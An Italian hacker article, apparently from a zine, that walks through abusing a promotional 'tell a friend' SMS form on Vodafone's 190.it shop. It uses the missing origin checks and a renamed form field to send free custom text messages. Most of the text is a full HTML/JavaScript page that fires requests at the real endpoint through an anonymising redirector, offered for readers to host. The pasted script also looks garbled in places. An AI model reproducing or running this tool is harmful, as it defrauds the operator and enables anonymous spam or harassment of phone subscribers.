Vodafone SMS Exploiting v0.1 by ErMeS & Pnluck
Avvertenze: Tutto quello che leggerete nelle seguenti pagine è frutto del delirio di due ragazzini, quindi non prendete nulla per vero. Comunque se, per puro caso, qualcosa dovesse coincidere con la realtà, noi (gli autori) non saremo responsabili in alcun modo dei danni fatti dai mentecatti che crederanno a questa assurda storia! Indice 1. Introduzione 2. Vodafone, questa sprovveduta 3. Creazione di uno script 4. Conclusioni e saluti 1. Introduzione Questo articolo nasce un po' per caso, così come sono state scoperte per caso le vulnerabilità (anche molto banali, se vogliamo) descritte di seguito. Iniziamo col dire che parleremo di come sia possibile sfruttare, a nostro vantaggio, servizi offerti dai vari operatori e che servono a tutt'altro. Questo articolo nasce da una bella collaborazione tra Pnluck (pnluck at virgilio dot it) e ErMeS (phreaker at ermes dot net) e molto probabilmente sarà soggetto a continui aggiornamenti. Questa versione è la 0.1 e potrete trovare quella più aggiornata sul sito http://ermes87.altervista.org. 2. Vodafone, questa sprovveduta Vediamo un po' che servizi ci offre questo primo operatore. Andiamo sul sito ufficiale che è http://www.190.it: clickiamo sulla tab Shop proprio come indicato sotto.
Ora ci ritroviamo nel punto shop del sito 190.it. Uhm... vediamo un po' com'è fatta la pagina: niente di particolarmente impegnativo. Ci sono solo i prodotti. Clickiamo su un prodotto qualsiasi (più precisamente su Dettagli). Bene siamo quasi arrivati alla nostra meta. Notate bene la scheda del prodotto: in basso a destra c'è un link titolato Dillo ad un amico (SMS). Clickiamoci su!
3. Creazione di uno script A questo punto popperà un'allegra finestrina con un un form semplicissimo tramite il quale possiamo inviare un sms pubblicitario ad un nostro amico che ha una scheda vodafone (purtroppo anche i messaggi che invieremo dopo aver modificato alcune cose potranno essere inviati solo a schede vodafone). Non perdiamoci in chiacchiere, iniziamo ad inviarci un messaggio per vedere cosa ci arriva. Noterete subito che il messaggio che possiamo scrivere non può superare i 39 caratteri, il che ci è poco utile per inviare un SMS normale. Allora salviamo sul desktop il sorgente della pop-up e vediamo un po' che fa. Intanto ci è arrivato il messaggio che ci siamo inviati precedentemente: è per il 90% pubblicità (alla fine a questo serve :) ). Possiamo dividere il messaggio in tre parti: 1. Sito da cui è stato inviato il messaggio (ovvero 190.it) 2. Prodotto pubblicizzato 3. Nostro messaggio Inizialmente pensavamo che sarebbe stata un'impresa ardua, ma per fortuna ci sbagliavamo. Innanzi tutto sul lato server non viene fatto nessun controllo sull'indirizzo dal quale viene inviata la query, quindi possiamo tranquillamente scaricare la popup e mandare i messaggi dal nostro pc/sito. Ma 39 caratteri son pochissimi! Vediamo un po' se possiamo eliminare un po' di pubblicità e di aggiungere altri caratteri al nostro testo così prendiamo due piccioni con una fava! Apriamo con un editor di testo il sorgente che abbiamo salvato ed iniziamo a capire il nostro piano in quante parti dovrà essere diviso. Per prima cosa dobbiamo risistemare tutti i i link visti che sono scritti in forma abbreviata. L'operazione dovrebbe essere semplicissima, ma vi facciamo comunque un esempio: Originale: Modificato: <img src="/res/img/logo_vod_omn_popup.gif" alt='vodafone' title='vodafone' /> <img src="http://www.shop.190.it/res/img/logo_vod_omn_popup.gif" alt='vodafone' title='vodafone' /> Speriamo di essere stati abbastanza chiari. Dopo aver risistemato tutti i collegamenti proviamo pure ad aprire la pagina con il browser; ci accorgeremo che è uguale a quella originale. Già da ora può essere utilizzata sia dal proprio pc che hostata sul proprio sito. Noi però continuiamo ad analizzare il sorgente per capire come eliminare un po' di pubblicità. Bene scorriamo il sorgente fino alla riga 264 e vedremo qualcosa di questo tipo: Originale: <input type="hidden" name="phonename" value="lg KU950 DVBH super UMTS broadband" >
Questa non fa altro che assegnare all'input nascosto (hidden) di nome phonename il valore LG KU950 bla bla bla... che avete visto anche nel vostro messaggio. Mentre alla riga 232 c'è il codice riguardante l'area per l'immissione del testo Originale: <textarea name="msg" cols="15" rows="5" onkeydown="modifytextsms(this, document.replyfriendsms.counter)" onkeyup="modifytextsms(this, document.replyfriendsms.counter)" onkeypress="modifytextsms(this, document.replyfriendsms.counter)" style="width:390"> </textarea> Ora il nostro exploit consiste nel cancellare la riga 264 (ovvero quella che invia il nome del prodotto e modificare la proprietà name della textarea alla riga 232 mettendo al posto del valore msg il valore phonename. In questo modo avrete finito il vostro script!! Modificato: <textarea name="phonename" cols="15" rows="5" onkeydown="modifytextsms(this, document.replyfriendsms.counter)" onkeyup="modifytextsms(this, document.replyfriendsms.counter)" onkeypress="modifytextsms(this, document.replyfriendsms.counter)" style="width:390"> </textarea> Provate ad inviarvi un messaggio. Sarà così composto: 1. Sito da cui è stato inviato il messaggio (ovvero 190.it) 2. Nostro messaggio (con più di 90 caratteri a disposizione) Purtroppo meglio di così non si può fare. Ora sbizzarritevi pure a modificare la pagina come più vi aggrada per poi inserirla nei vostri siti. Non avrete limitazioni in quanto a messaggi da inviare, ma un uso moderato di queste informazioni non può essere che positivo. Intanto postiamo il nostro script per intero: -----------------------------------------------[SmSvodafone.html]--------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE html PUBLIC " //W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/dtd/xhtml1 strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>free SmsVodafone</title> <script language="javascript" type="text/javascript"> <! //lunghezza massima alla text area function imposemaxlength(object, MaxLen) return (Object.value.length <= MaxLen); function get_random() var rannum= Math.floor(Math.random()*4); return rannum;
//genera un prodotto random function GetProdotto() var whichquote=get_random(); var quote=new Array(4) quote[0]="41091192"; quote[1]="41091293"; quote[2]="41091310"; quote[3]="41091303"; return quote[whichquote] //convalida del sms function validate() var friendnumbervalue = document.replyfriendsms.friendnumber.value; var friendnumberprefix = document.replyfriendsms.phonenumberprefix.value; if (friendnumberprefix=="") alert("devi inserire il prefisso del numero di telefono."); document.replyfriendsms.phonenumberprefix.focus(); if(friendnumbervalue.search(/\s/)== 1) alert("devi inserire il numero di telefono."); document.replyfriendsms.friendnumber.focus(); if (friendnumbervalue.match(/\d/) (friendnumbervalue.length!= 7 && friendnumbervalue.length!= 6)) alert('possono essere inseriti esclusivamente\nnumeri di telefono di clienti Vodafone.'); document.replyfriendsms.friendnumber.focus(); gourl(); function Trim(sString) while (sstring.substring(0,1) == ' ') sstring = sstring.substring(1, sstring.length); while (sstring.substring(sstring.length 1, sstring.length) == ' ') sstring = sstring.substring(0,sstring.length 1); return sstring; //vado all'url x sendare l'sms function gourl() var sms = Trim(document.replyFriendSMS.phoneName.value); sms = sms.replace(/ /g,"+"); sms = sms.replace(/è/g,"e'"); sms = sms.replace(/é/g,"e'"); sms = sms.replace(/à/g,"a'"); var URL =
"http://anonym.to/?http://www.shop.190.it/190/shop/replyfriendsms.do?phonename="+sms+"&f riendnumber="+ document.replyfriendsms.friendnumber.value+"&productid="+getprodotto()+"&phonenumberpref ix="+document.replyfriendsms.phonenumberprefix.value+"&y=2&phoneprice=0&x=15&ty_skip_md= true"; location.replace(url); // > </script> </head> <body> <p align="center"><h1>attenzione:</h1><h3>questa pagina è il prodotto di una ricerca svolta da Pnluck ed Ermes, a solo scopo dimostrativo.<br/>l'utilizzo è illegale, ed i suoi creatori nn si assumono responsabilità x l'uso di quest'ultima.</h3> <b>spiegazioni</b><br/> Questo script sfrutta diversi bug del servizio pubblicitario del sito <a href="http://www.shop.190.it">http://www.shop.190.it</a> di proprietà della Vodafone. Lo script originariamente serviva per comunicare ad un amico, via sms, un prodotto Vodafone che si stava consultando via web. </p> <br/><br/> <center> <fieldset style="text align:left;width:400px;"> <form name="replyfriendsms" method="post" action="http://www.shop.190.it/190/shop/replyfriendsms.do" onsubmit="return validate()"> Numero: <select name="phonenumberprefix" style=""><option value=""></option> <option value="340">340</option> <option value="343">343</option> <option value="346">346</option> <option value="347">347</option> <option value="348">348</option> <option value="349">349</option> </select> <input type="text" name="friendnumber" maxlength="10" size="10" value="" style="width:80px" /> <br/>inserisci testo del messaggio:(lunghezza Max 95char) <br /> <textarea name="phonename" cols="15" rows="3" onkeypress="return imposemaxlength(this, 95);" style="width:390px"></textarea> <input type="hidden" name="phoneprice" value="0" /> </form> </fieldset> </center> </body> <html> <input type="image" name="" src="btn_invia.gif" alt="invia" /> -----------------------------------------------[SmSvodafone.html]--------------------------------------------------------- 4. Conclusioni e saluti Eccoci giunti alla fine dell'articolo. Ringraziamo tutti i ragazzi di buona volontà che sono arrivati fin qua giù e, come già precedentemente detto, un uso moderato di queste informazioni può far sì che tutti usufruiscano più tempo del servizio. Comunque per questo articolo non abbiamo avuto bisogno di nessuno perciò salutiamo per par condicio i ragazzi della UIC (#crack-it @ irc.azzurra.org) e della Black List Team (#phreak @ irc.azzurra.org). Infine un in bocca al lupo grosso quanto un palazzo va fatto a MARSIO che ha messo su un gran bel progetto con ezine annessa. Ciao wagliù!